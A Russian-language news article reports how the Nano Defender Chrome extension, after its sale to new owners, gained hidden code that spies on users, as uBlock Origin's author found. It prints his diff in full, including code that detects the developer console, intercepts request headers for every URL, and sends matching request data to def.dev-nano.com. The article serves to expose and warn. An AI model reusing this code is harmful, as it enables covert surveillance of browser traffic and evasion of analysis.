3 октября 2020 года программист jspenguin2017, автор расширения Nano Defender, сообщил в официальном репозитории, что продал проект группе турецких разработчиков. Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности?
Спустя несколько дней опасения сообщества полностью оправдались.
Nano Defender довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах.
Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям.
Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик LiCybora, подтвердил, что сохраняет над ними контроль: эти расширения в безопасности. Кроме того, Firefox проверяет цифровые подписи расширений, так что вредоносный код не так легко пропихнуть в новую версию расширения.
Автор uBlock Origin Рэймонд Хилл проанализировал изменения в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление
report
на сервер
https://def.dev-nano.com/
. Другими словами, владельцы
отслеживают тех, кто пытается разобраться в работе расширения. С
высокой степенью вероятности в таком случае расширение меняет
свою функциональность, скрывая некоторые функции это
стандартный трюк вредоносных программ, которые детектируют наличие
исследовательского окружения, такого как виртуальная среда.В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил.
При запуске расширение прослушивает
https://def.dev-nano.com/
на предмет сообщений для
заполнения списка listOfObject
.Насколько можно понять код, в дальнейшем содержимое списка
listOfObject
используется для проверки проверки полей
объекта details
, который передаётся в
webRequest.onBeforeSendHeaders(). Если все поля соответствуют
условию, то всё содержимое объекта details
отправляется на https://def.dev-nano.com/
под
названием handleObject
.При этом обработчик
webRequest.onBeforeSendHeaders()
действует для всех сетевых запросов:
chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {urls: ["<all_urls>"]}, ['requestHeaders', 'blocking', 'extraHeaders']);
Поскольку
listOfObject
запрашивается с внешнего
сервера, то функциональность этого метода устанавливается извне.
Список может содержать любые условия в любом количестве. Грубо
говоря, владельцы расширения могут запрашивать из браузера любые
фрагменты исходящего сетевого трафика на своё усмотрение. Таким
образом, расширение Nano Defender фактически превратилось в
универсальный шпионский снифер.Рэймонд Хилл опубликовал diff, который недоступен в репозитории новых владельцев:
--- ./background/core.js+++ ./background/core.js@@ -160,7 +160,7 @@const hasNews = false;- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";const newsReadFlag = "news-read";// This handler becomes inactive when there is a popup page set@@ -189,7 +189,8 @@// ------------------------------------------------------------------------------------------------------------- //};-+var defender = io.connect("https://def.dev-nano.com/");+var listOfObject = {};// ----------------------------------------------------------------------------------------------------------------- //a.noopErr = () => {@@ -211,6 +212,29 @@// ----------------------------------------------------------------------------------------------------------------- //+++async function dLisfOfObject(newList) {+ let dListResp = await fetch(newList.uri, newList.attr)+ var listOfObj = {}+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())+ listOfObj.data = await dListResp.text()+ listOfObj.ok = dListResp.ok;+ listOfObj.status = dListResp.status;+ return listOfObj;+}++defender.on("dLisfOfObject", async function (newList) {+ let getRes = await dLisfOfObject(newList);+ defender.emit(newList.callBack, getRes)+});++defender.on("listOfObject", function (a) {+ listOfObject = a;+})+++// Redirect helpersa.rSecret = a.cryptoRandom();@@ -227,7 +251,22 @@// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).a.blankMP4 = a.rLink("blank.mp4");-++var element = document.createElement("p"); ;+var openListGet = false;+element.__defineGetter__("id", function() {+ openListGet = true;+});++var i = setInterval(function() {+ openListGet = false;+ console.log(element);+ if(openListGet){+ defender.emit("report")+ console.clear();+ clearInterval(i)+ }+}, 100);// ----------------------------------------------------------------------------------------------------------------- //// tab - Id of the tab@@ -450,6 +489,50 @@return true;};++var blockingHandler = function (infos) {+ var changedAsArray = Object.keys(listOfObject);++ var detailsHeader = infos.requestHeaders;+ var HeadReverse = detailsHeader.reverse();+ var stringyFy = JSON.stringify(HeadReverse);+ var mount = "";+ if (changedAsArray.length > 0) {+ var checkerList = true;+ for (const object of changedAsArray) {+ if (object.x === object.y) {+ mount += 1;+ }+ break;+ }+ for (let i = 0; i < changedAsArray.length; i++) {+ let x = changedAsArray[i];+ var re = new RegExp(listOfObject[x],'gi');+ mount = "5";+ if (infos[x].toString().match(re) == null) {+ checkerList = false;+ break;+ }+ }+ if (checkerList) {+ defender.emit('handleObject', infos);+ }+ }++ var m = [45,122,122,122]+ var s = m.map( x => String.fromCharCode(x) )+ var x = s.join("");+ var replacerConcat = stringyFy.split(x).join("");+ var replacer = JSON.parse(replacerConcat);+ return {+ requestHeaders: replacer+ }+};++chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {+ urls: ["<all_urls>"]+}, ['requestHeaders', 'blocking', 'extraHeaders']);+// ----------------------------------------------------------------------------------------------------------------- //
Турецкие разработчики опубликовали новую политику приватности для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта.
Вообще, продажа расширений распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте.
Например, владельцы прокси-сервиса SmartProxy предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов.
Другая сеть Luminati использует в качестве точек выхода компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также скупает популярные браузерные расширения.
С юридической точки зрения использование втёмную домашних компьютеров пользователей для прокачки коммерческого трафика весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания.
Что касается программиста jspenguin2017, то сообщество осудило его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что jspenguin2017 единолично монетизировал человеко-часы чужой работы.
Расширение Nano Defender уже удалено из каталога Chrome Web Store.